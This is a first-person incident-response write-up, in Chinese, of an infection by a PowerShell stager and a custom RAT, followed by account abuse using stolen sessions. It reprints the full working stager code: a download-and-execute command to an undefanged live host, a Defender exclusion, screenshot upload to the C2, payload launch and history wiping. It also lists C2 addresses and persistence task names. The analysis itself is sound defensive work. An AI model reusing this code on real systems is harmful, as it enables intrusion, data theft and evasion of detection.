irm -Uri "https://shells.su/encrypted/api.ps1" `
-UserAgent "aizkHkKtfNdzmaycOJfjhDPaNLCVYKMMpkAcUysyIpYjAUhNLqsQLGyVyIWfCgnEBiJYejrZLwCwhmVkEjIxKHePMYeeEMWXarInkmuwrUmzBIs" |
iex
所以它的目的非常直接:从 shells[.]su 获取第二阶段 PowerShell 脚本,并立即执行响应内容。
一个有意思的细节是,这个第一阶段脚本的在线版本后来发生过变化。我中招时,只有 URI 本身被编码;后来操作员修改了投递链,把完整的第二次请求,包括自定义 User-Agent,一起藏进了 Base64 blob。这说明基础设施仍在被持续维护,而不是某个早已废弃的一次性活动。
第二阶段:加载器、受害者遥测与暂存
第二阶段脚本重要得多,因为它暴露了最初执行链的大部分结构。
# ------------------------------------ LAUNCH ------------------------------------- #
$ErrorActionPreference = 'Stop'
$ProgressPreference = 'SilentlyContinue'
[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12
[Net.WebRequest]::DefaultWebProxy = [Net.WebRequest]::GetSystemWebProxy()
[Net.WebRequest]::DefaultWebProxy.Credentials = [Net.CredentialCache]::DefaultNetworkCredentials
function Show-Progress {
param(
[int]$Percent,
[string]$Text = ""
)
$esc = [char]27
$width = 20
$filled = [math]::Floor($width * $Percent / 100)
$empty = $width - $filled
$gray = "$esc[100m"
$darkGray = "$esc[48;5;236m"
$reset = "$esc[0m"
[Console]::Write(
"`r $gray$(' ' * $filled)$reset$darkGray$(' ' * $empty)$reset $Percent% $Text"
)
}
# ----------------------------------- VARIABLES ----------------------------------- #
$site = "https://shells.su"
$zipUrl = "$site/encrypted/1.zip"
$7zaUrl = "$site/encrypted/7za.exe"
$password = '1'
$exePath = '1/Helper.exe'
$work = Join-Path $env:TEMP "svc_$(Get-Random)"
$zip = Join-Path $work '1.zip'
$7za = Join-Path $work '7za.exe'
$dest = Join-Path $work 'out'
# ----------------------------------- VARIABLES+ ---------------------------------- #
$pcName = $env:COMPUTERNAME
$userAgent = "tlmqByUgtFbCmHjtfHJETtvEqghqrHORnDzNqWEEbXXipkrdHXJotzEvuerMxVgDiLp"
$startUrl = "$site/start.php"
$screenUrl = "$site/screen.php"
$endUrl = "$site/end.php"
$firstStepText = '[1/3] Checking for Updates...'
$secondStepText = '[2/3] Initialization Components...'
$thirdStepText = '[3/3] Running Application...'
$firstSubstepText = '[SUCCESSFULLY]'
$secondSubstepText = '[SUCCESSFULLY]'
$thirdSubstepText = '[ERROR]'
if (Test-Path $work) { Remove-Item $work -Recurse -Force }
New-Item -ItemType Directory -Path $work -Force | Out-Null
# ---------------------------------- ADMIN RIGHTS --------------------------------- #
$identity = [Security.Principal.WindowsIdentity]::GetCurrent()
$principal = New-Object Security.Principal.WindowsPrincipal($identity)
$isAdmin = $principal.IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)
# [STEP 1/3]:
Clear-Host
Write-Host "`n $firstStepText" -ForegroundColor Cyan
if (-not $isAdmin) {}
if ($isAdmin) {
Add-MpPreference -ExclusionPath $work -ErrorAction SilentlyContinue | Out-Null
}
# ---< REQUEST 1 >---------------------- GEO -------------------------------------- #
$country = [System.Globalization.RegionInfo]::CurrentRegion.TwoLetterISORegionName
filter CustomTrim { $_ -replace '[\r\n\t]', '' }
$geoServices = @(
@{ Uri = "https://ipwho.is/?fields=country_code"; Path = "country_code" },
@{ Uri = "https://ipapi.co"; Path = $null },
@{ Uri = "https://ipinfo.io"; Path = $null }
)
foreach ($service in $geoServices) {
try {
$response = Invoke-RestMethod -Uri $service.Uri -TimeoutSec 5 -UserAgent $userAgent -ErrorAction Stop
if ($response) {
if ($service.Path -and $response.$($service.Path)) {
$country = $response.$($service.Path).Trim().ToUpper()
} else {
$country = ($response | CustomTrim).ToUpper()
}
if ($country -match '^[A-Z]{2}$') {
break
}
}
}
catch {
continue
}
}
# ------------------------------------- LINKS ------------------------------------- #
$startRequest = "${startUrl}?pc=${pcName}&country=$country"
$screenRequest = "${screenUrl}?pc=${pcName}&country=$country"
$endRequest = "${endUrl}?pc=${pcName}&country=$country"
# ---< REQUEST 2 >--------------------- START ------------------------------------- #
try {
$startScript = Invoke-RestMethod -Uri $startRequest -TimeoutSec 15 -UserAgent $userAgent -ErrorAction SilentlyContinue | Out-Null
if (-not [string]::IsNullOrWhiteSpace($startScript)) {
$startBlock = [scriptblock]::Create($startScript)
& $startBlock
}
}
catch {
Write-Warning "$_"
}
# ---< REQUEST 3 >-------------------- DOWNLOAD ----------------------------------- #
try {
if (-not (Test-Path $work)) { New-Item -ItemType Directory -Path $work -Force | Out-Null }
Invoke-WebRequest -Uri $zipUrl -OutFile $zip -UserAgent $userAgent -TimeoutSec 600 -MaximumRedirection 5
Invoke-WebRequest -Uri $7zaUrl -OutFile $7za -UserAgent $userAgent -TimeoutSec 600 -MaximumRedirection 5
}
catch {}
# ---< REQUEST 4 >------------------- SCREENSHOT ---------------------------------- #
Add-Type -AssemblyName System.Windows.Forms
Add-Type -AssemblyName System.Drawing
try {
$bounds = [Windows.Forms.SystemInformation]::VirtualScreen
$bmp = New-Object System.Drawing.Bitmap $bounds.Width, $bounds.Height
$gfx = [System.Drawing.Graphics]::FromImage($bmp)
$gfx.CopyFromScreen($bounds.Location, [System.Drawing.Point]::Empty, $bounds.Size)
$ms = New-Object System.IO.MemoryStream
$bmp.Save($ms, [System.Drawing.Imaging.ImageFormat]::Png)
$gfx.Dispose()
$bmp.Dispose()
$base64 = [Convert]::ToBase64String($ms.ToArray())
$ms.Dispose()
$screenBody = @{
pc = $pcName
image = "data:image/png;base64,$base64"
}
Invoke-RestMethod -Uri $screenRequest -Method Post -Body $screenBody -UserAgent $userAgent -TimeoutSec 60 -ErrorAction Stop | Out-Null
}
catch {}
# [SUBSTEP 1/3]:
for ($i = 0; $i -le 100; $i++) {
Show-Progress $i
Start-Sleep -Milliseconds (Get-Random -Minimum 5 -Maximum 20)
}
Show-Progress 100
Write-Host "$firstSubstepText" -ForegroundColor Green
Start-Sleep -Seconds 3
# --------------------------------- OPEN & LOGGING -------------------------------- #
# [STEP 2/3]:
Clear-Host
Write-Host "`n $secondStepText" -ForegroundColor Cyan
try {
if (-not (Test-Path $7za)) { throw "[7za] - Error code: 2" }
if (-not (Test-Path $zip)) { throw "[ZIP] - Error code: 2" }
$unpackParams = @("x", "`"$zip`"", "-o`"$dest`"", "-p$password", "-y")
$null = & $7za x "$zip" "-o$dest" "-p$password" -y 2>&1
if ($process.ExitCode -ne 0) {
throw "[ERROR LOG] 7za: $($process.ExitCode)"
}
}
catch {}
# [RUN FILE]
$exe = Join-Path $dest $exePath
try {
if (Test-Path $exe) {
Start-Process $exe -WorkingDirectory (Split-Path $exe) -Wait -ErrorAction Stop
} else {
throw "[ZIP] - Error code: 2"
}
}
catch {
Write-Warning "$_"
}
if (Test-Path $work) {
Remove-Item $work -Recurse -Force -ErrorAction SilentlyContinue
}
# [SUBSTEP 2/3]:
for ($i = 0; $i -le 100; $i++) {
Show-Progress $i
Start-Sleep -Milliseconds (Get-Random -Minimum 10 -Maximum 25)
}
Show-Progress 100
Write-Host "$secondSubstepText" -ForegroundColor Green
Start-Sleep -Seconds 3
# ---< REQUEST 5 >--------------------- ENDING ------------------------------------ #
# [STEP 3/3]:
Clear-Host
Write-Host "`n $thirdStepText" -ForegroundColor Cyan
try {
$endScript = Invoke-RestMethod -Uri $endRequest -TimeoutSec 15 -UserAgent $userAgent -ErrorAction SilentlyContinue | Out-Null
if (-not [string]::IsNullOrWhiteSpace($endScript)) {
$endBlock = [scriptblock]::Create($endScript)
& $endBlock
}
}
catch {
Write-Warning "$_"
}
# [SUBSTEP 3/3]:
for ($i = 0; $i -le 100; $i++) {
Show-Progress $i
Start-Sleep -Milliseconds (Get-Random -Minimum 5 -Maximum 30)
}
Show-Progress 100
Write-Host "$thirdSubstepText`n" -ForegroundColor Red
Start-Sleep -Milliseconds 500
Write-Host " [ERROR] Failed to load DLL: keygen.dll`n [ERROR] The specified module could not be found.`n [ERROR] Error code: 0x8007007E`n [ERROR] One or more dependencies may be missing.`n [ERROR] Operation failed." -ForegroundColor Red
# ENDING SCREENSHOT
try {
$bounds = [Windows.Forms.SystemInformation]::VirtualScreen
$bmp = New-Object System.Drawing.Bitmap $bounds.Width, $bounds.Height
$gfx = [System.Drawing.Graphics]::FromImage($bmp)
$gfx.CopyFromScreen($bounds.Location, [System.Drawing.Point]::Empty, $bounds.Size)
$ms = New-Object System.IO.MemoryStream
$bmp.Save($ms, [System.Drawing.Imaging.ImageFormat]::Png)
$gfx.Dispose()
$bmp.Dispose()
$base64 = [Convert]::ToBase64String($ms.ToArray())
$ms.Dispose()
$screenBody = @{
pc = $pcName
image = "data:image/png;base64,$base64"
}
Invoke-RestMethod -Uri $screenRequest -Method Post -Body $screenBody -UserAgent $userAgent -TimeoutSec 60 -ErrorAction Stop | Out-Null
}
catch {}
Read-Host -Prompt "`n Press Enter to exit"
[Microsoft.PowerShell.PSConsoleReadLine]::ClearHistory()
Remove-Item (Get-PSReadlineOption).HistorySavePath -Force -ErrorAction SilentlyContinue
Set-PSReadlineOption -HistorySaveStyle SaveNothing
[Microsoft.PowerShell.PSConsoleReadLine]::ClearHistory()
它的行为大致可以总结为:
环境准备与权限检查
↓
临时工作目录 / 尝试加入 Defender 排除项
↓
国家和主机信息侦察
↓
Start 回调 / 尝试执行服务器返回的 PowerShell
↓
下载加密载荷压缩包与 7-Zip
↓
采集桌面截图并外传
↓
解压并执行载荷
↓
清理临时文件
↓
End 回调 / 再次尝试执行服务器返回的 PowerShell
↓
第二次截图并清理 PowerShell 历史
脚本配置了 TLS 1.2,并显式继承系统代理以及当前用户的默认网络凭据:
[Net.WebRequest]::DefaultWebProxy =
[Net.WebRequest]::GetSystemWebProxy()
[Net.WebRequest]::DefaultWebProxy.Credentials =
[Net.CredentialCache]::DefaultNetworkCredentials
这是一个不大但值得注意的实现细节。对于出站 HTTP 流量必须经过带认证企业代理的环境,这会提高兼容性。这不代表恶意软件专门针对企业,但至少说明作者考虑过不止普通家庭网络这一种环境。
随后,加载器定义了暂存位置:
site: hxxps://shells[.]su
archive: /encrypted/1.zip
extractor: /encrypted/7za.exe
password: 1
work: %TEMP%\svc_<random>
output: %TEMP%\svc_<random>\out\
在我事件期间恢复到的版本中,最终可执行文件是 1.exe。后来的 stager 快照则预期执行 1/Helper.exe。这个差异对时间线很重要:后来的快照不能被当作感染我机器那一版的逐字节复刻,他们一直在修改自己的脚本甚至 implant。
Windows Defender 规避
如果 PowerShell 进程已经以管理员权限运行,加载器会尝试把临时工作目录加入 Windows Defender 排除项:
Add-MpPreference -ExclusionPath $work -ErrorAction SilentlyContinue
在后来的版本里,如果用户不是管理员,它实际上不会主动尝试提权:
if (-not $isAdmin) {}
这里也是投递链随时间发生变化的一个地方。事件当时的记录里,较早版本曾尝试通过 RunAs 重新启动;那依赖用户确认,并不是静默 UAC 绕过。之后对可执行文件的逆向还在 RAT 本体中发现了权限相关功能,因此有可能一部分职责后来从 PowerShell 层转移到了 RAT。
受害者注册与地理画像
在下载可执行载荷之前,stager 会尝试判断受害者所在国家。它首先以系统地区设置作为 fallback,然后查询 ipwho.is、ipapi.co 和 ipinfo.io 等公开地理位置服务。
随后构造三个暂存 URL:
/start.php?pc=<computer-name>&country=<country>
/screen.php?pc=<computer-name>&country=<country>
/end.php?pc=<computer-name>&country=<country>
乍一看,这几个端点主要像是在做受害者注册和遥测。暂存服务器会收到计算机名和国家,而 screen.php 单独用于截图外传。不过,继续看 start.php 和 end.php 后,还能发现一个额外能力:stager 会尝试接收响应,并把它作为 PowerShell 执行。
$startScript = Invoke-RestMethod -Uri $startRequest ... | Out-Null
if (-not [string]::IsNullOrWhiteSpace($startScript)) {
$startBlock = [scriptblock]::Create($startScript)
& $startBlock
}
end.php 后面也用了同样的模式。由于请求中携带了 pc 和 country,服务器在生成响应时已经掌握了受害者级别的属性。理论上,它可以对不同主机或不同地区返回不同的后续动作,但没有服务器端 PHP 实现,我无法确认这种选择性行为是否真的被实现过。
不过,这里存在一个很严重的实现 Bug。结果被管道送进 Out-Null 后,HTTP 响应会在赋值给 $startScript 之前就被丢弃。请求本身依旧会发送,因此服务器仍然能收到受害者信息,但后续执行分支根本拿不到响应内容。$endScript 也有同样的问题。操作员看起来做了一个服务器控制的执行路径,然后又因为自己的 Bug 把它顺手废掉了。在我的案例里,这条路径看起来是因为攻击者自己的 Bug 失败的,而不是因为我的遏制措施。
所以,这层暂存基础设施同时承担了受害者识别、截图收集,以及一个未能正常工作的服务器控制 PowerShell 机制。RAT 运行时使用的 C2 则是另一套。
屏幕截图外传
stager 使用 [Windows.Forms.SystemInformation]::VirtualScreen 和 $gfx.CopyFromScreen(...) 捕获完整的 Windows 虚拟桌面。位图被编码为 PNG、转换成 Base64,然后连同计算机名一起提交到 screen.php:
$screenBody = @{
pc = $pcName
image = "data:image/png;base64,$base64"
}
在后来的快照中,这个动作会在可执行载荷启动前执行一次,并在伪安装流程接近结束时再执行一次。如果请求成功,那么当时所有显示器上可见的内容都已经泄露了,这个部分没有“撤销”的办法了。这个认识直接影响了我当时的响应优先级。我把局面分成两类:已经发生的损害,以及仍然可以阻止的攻击活动。截图属于前者,但 RAT 进程、持久化和 C2 连通性,我仍然可以切断。
当时,这个优先级看起来非常自然。站在红队的角度,一旦我发现攻击,第一反应就是和时间赛跑,尽可能阻止更多仍在进行中的动作。但阻止正在发生的入侵,并不等于完成净化。已经发生过的事情,不能就这么被认为完工了,留下的后果也不能被忽略。
载荷投递
Stager 下载了 /encrypted/1.zip 和 /encrypted/7za.exe,然后使用密码 1 解压受密码保护的 ZIP。这个密码无论还有什么别的目的,显然不太擅长对接收者保密。解压出的载荷通过下面的方式启动:
Start-Process $exe `
-WorkingDirectory (Split-Path $exe) `
-Wait
这里的工作目录细节后来在清理阶段变得有意义,因为临时解压目录被仍持有句柄的进程锁住了。
欺骗用户
脚本试图把整个执行过程伪装成普通安装器或更新程序。它展示了三个阶段
[1/3] Checking for Updates...
[2/3] Initialization Components...
[3/3] Running Application...
同时配上假的进度条和随机休眠。流程结束时,它会故意打印:
[ERROR] Failed to load DLL: keygen.dll
[ERROR] The specified module could not be found.
[ERROR] Error code: 0x8007007E
[ERROR] One or more dependencies may be missing.
[ERROR] Operation failed.
这是一段欺骗,而不是真的安装失败。最简单地说,这条信息解释了为什么预期中的应用程序没有出现:破解程序或者软件因为缺失依赖而安装失败。但与此同时,恶意执行链其实已经跑完了。这个假报错的作用,不只是把脚本装成一个坏掉的安装器。它给了受害者一个看似合理的解释,可以让调查在这里提前结束。
从受害者视角:
下载软件 → 运行安装器 → 缺少 keygen.dll
→ 安装失败 → 换一个下载
从攻击者视角:
执行 stager → 侦察 → 截图外传→ 部署 RAT → 伪造 DLL 报错
这种欺骗不需要躲过恶意软件分析,甚至不需要把所有恶意痕迹都藏得很像,它只需要让受害者别再追问“为什么安装失败”就够了。如果几天后 Instagram、Steam 或 Discord 开始出现异常,一般受害者也很难自然地把它和几天前一个看起来毫无关系的安装失败联系起来。
反取证措施
最后,stager 会尝试清除 PowerShell 命令历史
[Microsoft.PowerShell.PSConsoleReadLine]::ClearHistory()
Remove-Item (Get-PSReadlineOption).HistorySavePath `
-Force `
-ErrorAction SilentlyContinue
Set-PSReadlineOption -HistorySaveStyle SaveNothing
[Microsoft.PowerShell.PSConsoleReadLine]::ClearHistory()
这针对的是用户的 PSReadLine 历史,包括 ConsoleHost_history.txt。对付随手看一眼式的检查确实有用,但距离完整的取证清理还差得很远。它不会删除可能已经被记录到 PowerShell 操作日志、进程创建遥测、EDR、网络日志或其他主机痕迹里的独立证据。代码整体更加实用主义、但容错率不足,也不优雅。在解压逻辑中,它检查了 $process.ExitCode,却从未给 $process 赋值;前面的 Out-Null 错误,则是同一类不均衡工程质量里更严重的例子。
追踪载荷与持久化
理解了两阶段 PowerShell 后,我对最初的入侵已经有了比较清晰的认识:主机信息已经被提交到暂存基础设施,截图很可能已经被外传,可执行载荷也已经启动。目标已经不是“阻止入侵发生”,而是遏制仍然活跃的部分。幸运的是,第二阶段脚本直接暴露了解压位置:
%TEMP%\svc_<random>\out\1\1.exe
我保留了一份封存样本用于后续分析,然后删除了原始投递位置里的可执行文件。但显然,仅仅删掉初始 implant 并不够。到这个时候,我必须假设持久化已经建立。
接下来基本有两条路:尽可能枚举持久化机制,或者逆向样本,让恶意软件自己告诉我它做过什么。更实际的答案是两条一起走。我把保留的样本交给静态分析流程,同时使用 GPT-5.6 Sol 和 Opus 5 做 AI 辅助逆向,在有限时间里扩大覆盖面。对一个混淆过的恶意样本做自动化分析,漏掉很多东西并不奇怪。但即使分析不完整,在真实事件进行中,它仍然能节省大量时间:自动识别函数、字符串、API 使用、持久化路径和 C2 行为,而人工调查者可以把注意力集中在仍然活着的主机上。
这就是第一轮分析的目的:拿到可执行的处置情报,而不是把每个能力都彻底分析完。第二部分会重新回到那些当时没有回答的问题。
一条相当潦草的 PowerShell 链
到这里,两阶段 PowerShell 链基本分析完了。它的能力确实够实用,对毫无防备的用户也完全可以造成真实损害,但我实在很难对它的实现质量有什么高评价。
就这么一点代码里,我已经看到了多个 Bug。整体代码质量不高,对规避和 OPSEC 似乎也没怎么认真考虑。脚本写得相当潦草。我把它分享给几个朋友看,其中一个人开玩笑说,这玩意儿看起来像是 vibe coding 出来的,哈哈这一点也不假。
不过,潦草的品质本身也是信息。它让我对威胁行为者的工程成熟度和技术水平有了一个初步印象,可以在后续事件响应中帮助决定先查什么。当然,我也不想过度套用这个印象:攻击者可能前后水平不一致,可能复用了别人的代码,也可能只是把更多精力放在了行动的某一部分。
给持久化排查定优先级
持久化排查最麻烦的地方,就是搜索空间太大。一个 Windows implant 可以通过计划任务、服务、Run Key、启动目录、WMI 订阅、Winlogon 修改、IFEO、COM 劫持、DLL 加载机制以及很多其他方式存活下来,所以我必须排优先级。
我的进攻性安全背景,加上对这套 PowerShell stager 的第一印象,帮助我决定了搜索顺序。我当时在想:按照目前推测出来的技术水平,他们更可能使用什么复杂度的持久化方式?
相比更高级、更复杂的技术,计划任务和其他传统启动/登录机制,看起来更像是应该优先排查的方向。这仍然只是一个有风险的推断,而不是确切结论。毕竟PowerShell stager 写得粗糙,并不代表背后的原生 implant 也一定粗糙。链条不同部分可能由不同操作员负责,二进制 implant 完全可能更棘手。
话虽如此,这个直觉确实改变了我的搜索顺序。很快,我在下面的位置发现了 implant 的第二份副本:
C:\ProgramData\Windows\Microsoft\RuntimeBroker.exe
这个路径显然是为了伪装成合法 Windows 组件,父目录还被设置了 Hidden 和 System 属性。更重要的是,这个看起来像“另一份”的 RuntimeBroker.exe 根本不是不同的可执行文件:它的哈希和原始 1.exe 完全一致。后续逆向进一步还原了自我复制 流程,而文件系统时间线已经给出了一个非常有用的关联:
2026-08-16, local time (EDT)
23:44:56 RuntimeBroker.exe created
23:44:57 Four malicious scheduled tasks created
四个任务分别是:
\Microsoft\Location\MicrosoftUpdaterMachineCore
\Microsoft\Windows\EDP\ScheduledDef
\Microsoft\Windows\RegisterDeviceAccountChange\ProgramDataUpdate
\Microsoft\Windows\SoftwareProtectionPlatform\SvcRestartTaskWindowsLogins
四个任务全部启动同一个 RuntimeBroker.exe。其中一个每 30 分钟重复触发,另外三个则是开机触发。任务定义使用内置 Administrator SID(...-500),并设置 InteractiveToken 和 HighestAvailable。真正重要的证据并不只是任务名称,而是保留下来的任务 XML 和时间戳。更深入的逆向后来还发现,它用的是 Task Scheduler COM,而不是简单调用 schtasks.exe。这也提醒我:技术很传统,并不等于实现能力就一定很差。
样本还把 C2 配置存放在 HKCU\Software\Microsoft\Event 下,值名为 System。那只是配置存储,不是另一种启动方式。真正的执行持久化来自计划任务。RAT 还创建了互斥体 Global\RuntimeBrokerAds,用于保证只运行一个实例。
这一次,我最初的判断确实帮上了忙。但只是侥幸的这一次。
并行逆向分析
差不多同一时间,自动化分析也开始返回有用结果。两边都没能独立还原完整图景,但它们的发现和我在主机上看到的痕迹互相印证,并暴露了 implant 的更多能力。逐渐浮现出来的是一个自定义 x64 C++ RAT。它的运行时 C2 通过 WebSocket 连接 145.63.134[.]94:406;另一个 HTTP 任务通道使用端口 408。分析还发现它支持更新后的 *.duckdns.org 端点。协议字符串包括:
ready; getinfo ping pong
task createtask closetask task_id;
task_done; update
早期分析显示,命令执行使用了非常直接的 cmd.exe /C <command>。WebSocket 握手里还有一个尤其显眼的特征:
Sec-WebSocket-Key: dGhlIHNhbXBsZSBub25jZQ==
这是 RFC 6455 里的示例 nonce,而不是每次新随机生成的 key。在这里,它的重复使用可以当作一个有用的网络指标,但还不足以单独做恶意软件家族归因。
二进制本体的保护也比 PowerShell stager 给人的第一印象重得多。分析识别出了加密字符串、动态 API 解析、控制流与 MBA 风格混淆,以及覆盖多种虚拟化环境的反分析检查,其中甚至有一个明确的 anyrun GPU 指标。其他恢复出来的引用和路径还涉及关键进程行为、权限调整、基于 WMI 的杀软发现、AMSI 相关操作,以及 NtAllocateVirtualMemory、NtWriteVirtualMemory、NtCreateThreadEx 等原生内存/线程 API。winlogon、smartscreen 和 explorer.exe 等进程名也和早期分析有关。这些是深入实现的线索,并不代表所有相关技术都一定在我的主机上成功执行过。
按高端红队标准,我不会把它称为多么高级的 implant。但它也绝对不是小儿科:自定义混淆、动态 API 解析、沙箱检测、冗余计划任务,再加上能正常工作的任务协议,已经足够制造麻烦。换句话说,它不需要写得优雅,也一样危险。
知道 408 端口存在,和理解完整的模块投递路径并不是一回事。当时我已经有足够信息去清理 foothold。那些还没搞明白的细节,后来会成为第二轮分析非常有价值的起点。
多种持久化方式,但只有一个可执行文件
我识别到的所有自启动机制,最后都汇聚到同一个可执行文件:
1.exe
↓ self-copy
C:\ProgramData\Windows\Microsoft\RuntimeBroker.exe
↑
├── MicrosoftUpdaterMachineCore
├── ScheduledDef
├── ProgramDataUpdate
└── SvcRestartTaskWindowsLogins
这大概是整个遏制过程中最让我松一口气的技术发现。恶意软件有多种重新拉起自己的方式,但我找到的这些自启动背后,磁盘上只有一个可执行文件。这当然不代表我赶到之前,它从未下载过别的模块、注入过代码或者收集过信息。但我找到的这些持久化路径共享同一个依赖,从攻击者角度看,这反而制造了一个单点故障:只要这些任务被删除,同时删掉那份 RuntimeBroker.exe,这些特定的重新拉起路径就全部失效。
事后回想,我得承认这里让我不禁一身冷汗。如果恶意软件当时装了好几条真正独立的 foothold:一个计划任务 EXE、一个服务二进制、一个 WMI 拉起的脚本,再来一个单独的侧加载组件,人工清除会难得多。任何一条独立分支漏掉,都可能让攻击者重新拿到执行能力,再把其他分支重建出来。这次事件对我算是比较有容错的。
我并没有删掉四个已知计划任务和持久化可执行文件就收工。我继续检查了其他持久化位置:服务、Run/RunOnce Key、启动目录、Winlogon 配置、WMI 永久事件订阅,可疑的计划任务动作,以及更多。幸运的是,考虑到时间窗口比较短,穷举式的搜查是可以做到的,最终确认没有残留其他的持久化方式了。
当时,我确实觉得事件到这里应该结束了,但实际上,并没有。
被忽略的后续影响
清掉已知的持久化机制,并确认持久化可执行文件已经不在之后,我认为主机级事件已经被遏制住了。我当时已经精疲力竭,也有理由相信最直接的威胁已经被移除,但这种信心并没有持续多久。后来检查 Discord 时,我发现主账号被登出了,重新登录也失败。去看绑定邮箱后,原因立刻清楚了:邮箱里有几封未读邮件,包括密码重置请求、密码已修改的确认,以及另一封关于违反 Discord 政策活动的通知。
账号已经被接管,而由于密码重置是通过绑定邮箱完成的,邮箱本身也很可能被访问过。Google 同时也发出了可疑活动警告。
好在我仍然控制着邮箱,我修改了邮箱的凭据和安全设置,通过客服找回 Discord,并随后对两个账号都做了进一步加固,但这离后续影响结束,还差得远。
多个平台的账号滥用
之后,在这台被攻陷的主机上使用过的多个服务,都陆续出现了新的异常:
- Instagram 被劫持,但没有被完全夺走。攻击者利用现有账号状态向联系人发送垃圾信息,其中包括推广
marawex[.]com。
- Steam 也遭到了类似滥用,但没有发生完整账号夺取。账号被用来发垃圾信息,一个陌生用户,后来保留下来的资料显示为
661SAVAGEEE,还被加入了家庭共享。这个用户在 ARC Raiders 里开挂,最终被封。因为游戏所有权在我的账号上,我也因此被连带封禁。后面会对661SAVAGEEE做更完整的 OSINT。
- 我的第二个 Discord 账号也被用来发垃圾信息,但密码没有被改。因为我两个账号互相为好友,因此很快注意到了。发送者随后还试图从被攻陷账号一侧删除对话。推广的域名是
tetsobet[.]com。
- Amazon 阻止了完整夺取,但仍然放行了欺诈订单。25 美元礼品卡被成功下单,而100 美元的消费被拦截。攻击者还购买了和我以前常买的维生素、猫粮之类的商品,看起来是在试图贴近我的正常消费基线。
- Cursor 产生了大约 70 美元的未授权用量,Codex 消耗了我一部分周额度。Claude 也可能暴露过,但Anthropic 很快检测到了可疑活动,并主动让会话失效,因此在我观察到明显实际影响之前就已经被切断。
在我查看的这些平台和厂商里,Anthropic 是最早意识到这波更大规模信息窃取活动的团队之一。虽然当时他们还没有把活动明确映射到我遇到的这个具体团伙,但他们对 TTP 和上下文的分析非常专业,而且和我亲眼观察到的很多行为高度吻合。当然,信息窃取团伙远不止我遇到的这一支,Anthropic 记录的活动范围也比这个具体族更广。但我多少还是有点庆幸:我可能算是极少数很早就意识到这个具体、可能正在兴起的新团伙的人之一,甚至早于大型威胁情报团队把它单独拆出来并完成映射。
在分析 PowerShell stager 时,我对它的规避和 OPSEC 评价并不高。但账号失陷后的后续行为却呈现出更混合的图景:不同操作之间,隐蔽性和谨慎程度差异很大。
我的 Discord 被直接夺走,危害当然很大,但操作本身也足够嘈杂,几乎立刻就让他们的行动暴露了。Amazon 上的未授权购买则谨慎得多:攻击者先从低金额礼品卡和我以前买过的商品入手,可能是在尽量贴近正常活动基线,然后再尝试更高价值的商品。之后,他们还知道把我这边已发送的消息删掉。有些操作做得相当谨慎,另一些却粗糙得让人意外。这种不一致本身,也成了理解这场行动的另一条有用线索。
主机还在失守吗?
这些持续发生的异常带来了一个很让我不安的问题:我真的已经把恶意软件清干净了吗?我一次又一次回头检查主机,看看是不是漏掉了另一个可执行文件、持久化机制、注入组件或第二阶段 payload。账号还在被滥用,“清理不彻底”自然是最容易想到的解释。
但随着证据越来越多,另一种解释逐渐变得更合理。受影响的服务,正好都是主机上已经存在认证状态的服务。很多时候,我从浏览器打开它们甚至不需要重新登录,浏览器里已经有有效会话、可信设备状态、令牌或其他认证材料。
我还在 ChatGPT、Steam 等服务上发现了来自其他地理区域的可疑已认证会话,即使这些服务都启用了 MFA。MFA 保护的是登录流程,但如果已经认证过的会话 bearer 材料被偷走且仍然有效,它并不会自动让这些会话失效。Steam 给出了一个尤其有用的例子:安全页面显示,可疑浏览器活动关联到一个最初建立于 8 月 3 日 的授权,而那甚至早于感染日期。
这和“复用之前已经授权的浏览器状态”很吻合,并不一定需要重新知道密码、再绕过一次 Steam Guard。整个时间线也因此更合理了:出现一次新的滥用行为,不代表主机又被新入侵了一次。另外,还需要考虑应用自身保存的认证材料。有些工具会在本地保留可复用凭据。具体文件、存储方式和保护措施因产品而异,不能假设每个安装环境都一样。后面的模块分析,会把这些原本只是“可能”的东西,变成具体的采集目标。综合来看,更可能的解释是:
后续持续发生的账号滥用,主要是最初入侵期间被窃取的认证材料所造成的后果,而不是 RAT 仍然持续控制着我的机器。
清掉恶意软件不等于净化
我最初的响应明显过于围绕主机展开,主要关注的是:
- implant 还在跑吗?它在哪里建立了持久化?
- 重启后是谁把它重新拉起来?还有没有额外副本?
- C2 连接还活着吗?
这些问题都没错,但盲区同样让人不安:
- 恶意软件被删除之前,已经有什么东西被偷走了?
- 哪些认证材料仍然有效?哪些会话需要撤销?
- 考虑到已经失陷的内容,后面还可能出现什么后果?
回头看,我不觉得这只是“漏了一个 checklist 项”这么简单。我的响应顺序在内部逻辑上其实是自洽的:中断执行、理解 stager、定位可执行恶意软件、保存样本、识别持久化、移除 foothold、验证 C2 连接没有回来。几乎每一步都围绕同一个目标优化:移除攻击者的主机级访问。从进攻性安全角度,这个目标非常符合直觉。在红队行动里,凭据、cookie或令牌通常是一条路,而不是终点。我拿到它,是因为它可以让我去别的地方认证、提权、横向移动,或者继续朝最终目标推进。它的价值通常和它能开启哪条访问链绑定。但信息窃取生态的经济模型完全不同。凭据和已认证会话并不一定只是“继续控制原始机器”的中间步骤。它们本身就可以成为库存。可以被收集、打包、分发、出售,或者交给一个从没接触过那台被攻陷主机的人去消费。所以,对手根本不一定需要回来。这就是我最初威胁建模的错位。我问的是:攻击者还能不能继续在这台机器上行动?但净化还需要另一个问题:即使主机级访问已经被消灭,还有什么东西依然处于被攻陷状态?很遗憾,删除 RuntimeBroker.exe,并不能自动修复那些已经离开主机的东西。
这里还有一个很重要的不对称:清除持久化会给我们非常直接的反馈。删掉恶意任务、重启、看到可执行文件没回来;切断 C2,看连接消失。每一步都会让我们直观地觉得“有一部分问题已经解决了”。凭据净化则完全不同,撤销被窃会话、轮换密钥、重置密码、登出所有会话,通常都不会给你一种“幸好我做了这一步”的明确确认。攻击者可能不会立刻使用某个令牌或凭据,但风险从它被偷走那一刻就已经存在。如果漏掉这一步,问题可能会安静地潜伏很久。后果可能几天后才出现,在另一个平台,以一种乍看上去和最初入侵毫无关系的形式出现。
下述流程正是我遇到的情况:
恶意仓库 → PowerShell 投递 → RAT 执行
↓
认证材料被收集
↓
主机持久化被移除
↓
被窃取的认证材料在其他地方仍然有效
↓
访问被向下游分发或消费
↓
不同服务在不同时间被滥用
